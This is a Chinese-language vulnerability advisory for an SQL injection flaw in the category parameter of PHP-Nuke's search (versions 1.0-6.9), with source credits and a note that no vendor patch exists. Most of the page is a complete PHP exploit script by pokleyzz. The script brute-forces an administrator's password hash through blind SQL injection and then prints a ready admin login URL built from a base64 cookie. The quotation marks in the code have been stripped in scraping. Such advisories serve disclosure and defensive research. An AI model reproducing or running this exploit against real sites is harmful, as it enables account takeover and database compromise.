PHP-Nuke Category参数SQL注入漏洞


添加时间:
2005-08-17

系统编号:
WAVDB-00452
BUGTRAQ: 9630

影响版本:
PHP-Nuke 1.0-6.9

程序介绍:

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

漏洞分析:

PHP-Nuke包含的index.php脚本对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得数据库敏感信息及修改数据库内容。

当执行搜索时,index.php脚本对用户提交给$category变量的数据缺少充分过滤,提交包含SQL命令的数据作为$category变量参数,可更改原来数据库逻辑,获得数据库敏感信息及修改数据库内容。



漏洞利用:

 
  1. #!/usr/bin/php -q  
  2.  PHPnuke 6.x and 5.x fetch author hash by pokleyzz <pokleyzz at scan-associates.net>  
  3.   
  4. <?php  
  5.  /* 
  6.  # PHPnuke 6.x and 5.x fetch author hash by pokleyzz <pokleyzz at scan-associates.net> 
  7.  # 27th December 2003 : 4:54 a.m 
  8.  # 
  9.  # bug found by pokleyzz (11th December 2003 ) for HITB 2003 security conference 
  10.  # (Shame on You!!)  
  11.  # 
  12.  # Requirement: 
  13.  #    PHP 4.x with curl extension; 
  14.  # 
  15.  # Greet:  
  16.  #    tynon, sk ,wanvadder,  sir_flyguy, wxyz , tenukboncit, kerengga_kurus ,  
  17.  #    s0cket370 , b0iler and ... 
  18.  # 
  19.  # Happy new year 2004 ... 
  20.  # 
  21.  # ----------------------------------------------------------------------------  
  22.  #  TEH TARIK-WARE LICENSE  (Revision 1): 
  23.  # wrote this file. As long as you retain this notice you  
  24.  # can do whatever you want with this stuff. If we meet some day, and you think  
  25.  # this stuff is worth it, you can buy me a  teh tarik  in return.  
  26.  # ----------------------------------------------------------------------------  
  27.  # (Base on Poul-Henning Kamp Beerware) 
  28.  # 
  29.  # Tribute to Search -  kejoraku bersatu.mp3  
  30.  # 
  31.  */  
  32.  if (!(function_exists(  
  33. curl_init  
  34. ))) {  
  35.      echo  cURL extension required\n ;  
  36.      exit;  
  37.  }  
  38.   
  39. ini_set( max_execution_time , 999999 );  
  40.   
  41. $matches =  No matches found to your query ;  
  42.   
  43. //$url =  http://127.0.0.1/src/phpnuke441a/html ;  
  44.  $charmap = array (48,49,50,51,52,53,54,55,56,57,  
  45.            97,98,99,100,101,102,  
  46.            103,104,105,  
  47.            106,107,108,109,110,111,112,113,  
  48.            114,115,116,117,118,119,120,121,122  
  49.            );  
  50.              
  51.  if($argv[1] && $argv[2]){  
  52.        
  53.      $url = $argv[1];  
  54.      $author = $argv[2];  
  55.      if ($argv[3])  
  56.          $proxy = $argv[3];   
  57.  }  
  58.  else {  
  59.      echo  Usage:  .$argv[0].  <URL> <aid> [proxy]\n\n ;  
  60.      echo  \tURL\t URL to phpnuke site (ex: http://127.0.0.1/html)\n ;  
  61.      echo  \taid\t author id to get  (ex: god)\n ;  
  62.      echo  \tproxy\t optional proxy url  (ex: http://10.10.10.10:8080)\n ;   
  63.      exit;  
  64.  }  
  65.  $search =  /modules.php?name=Search ;  
  66.  echo  Take your time for Teh Tarik... please wait ...\n\n ;  
  67.  echo  Result:\n ;  
  68.  echo  \t$author: ;  
  69.  $admin = $author. : ;  
  70.  $i =0;  
  71.  $tmp =  char( ;  
  72.  while ($i < strlen($author)){  
  73.      $tmp .= ord(substr($author,$i,1));  
  74.      $i++;  
  75.      if ($i < strlen($author)){  
  76.          $tmp .=  , ;  
  77.      }   
  78.  }  
  79.  $tmp .=  ) ;  
  80.  $author=$tmp;  
  81.   
  82. for($i= 1;$i< 33;$i++){   
  83.      foreach ($charmap as $char){  
  84.          echo chr($char);  
  85.          $postvar =  query=%25&category=99999+or+a.aid=$author+and+ascii(substring(a.pwd,$i,1))=$char ;  
  86.          $ch = curl_init();  
  87.          if ($proxy){  
  88.              curl_setopt($ch, CURLOPT_PROXY,$proxy);   
  89.          }  
  90.          curl_setopt($ch, CURLOPT_URL,$url.$search);  
  91.          curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
  92.          curl_setopt($ch, CURLOPT_POST, 1);  
  93.          curl_setopt($ch, CURLOPT_POSTFIELDS, $postvar);  
  94.          $res=curl_exec ($ch);  
  95.          curl_close ($ch);  
  96.          if (!(ereg($matches,$res))){  
  97.              //echo chr($char);  
  98.              $admin .= chr($char);  
  99.              break 1;  
  100.          }  
  101.          else {  
  102.              echo chr(8);  
  103.          }  
  104.            
  105.          if ($char ==103){  
  106.              echo  \n\n\tNot Vulnerable or Something wrong occur ...\n ;  
  107.              exit;  
  108.          }  
  109.            
  110.      }  
  111.  }  
  112.  $admin .=  :: ;  
  113.  echo  \n\nAdmin URL:\n ;  
  114.  echo  \t$url/admin.php?admin= .ereg_replace( = , %3d ,base64_encode($admin));  
  115.  echo  \n ;  
  116.  echo  \n\nEnjoy your self and Happy New Year 2004.... ;  
  117.  ?>   


解决方案:
厂商补丁:
Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpnuke.org

信息来源:
<*来源:pokleyzz (pokleyzz@scan-associates.net)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107643348117646&w=2
*>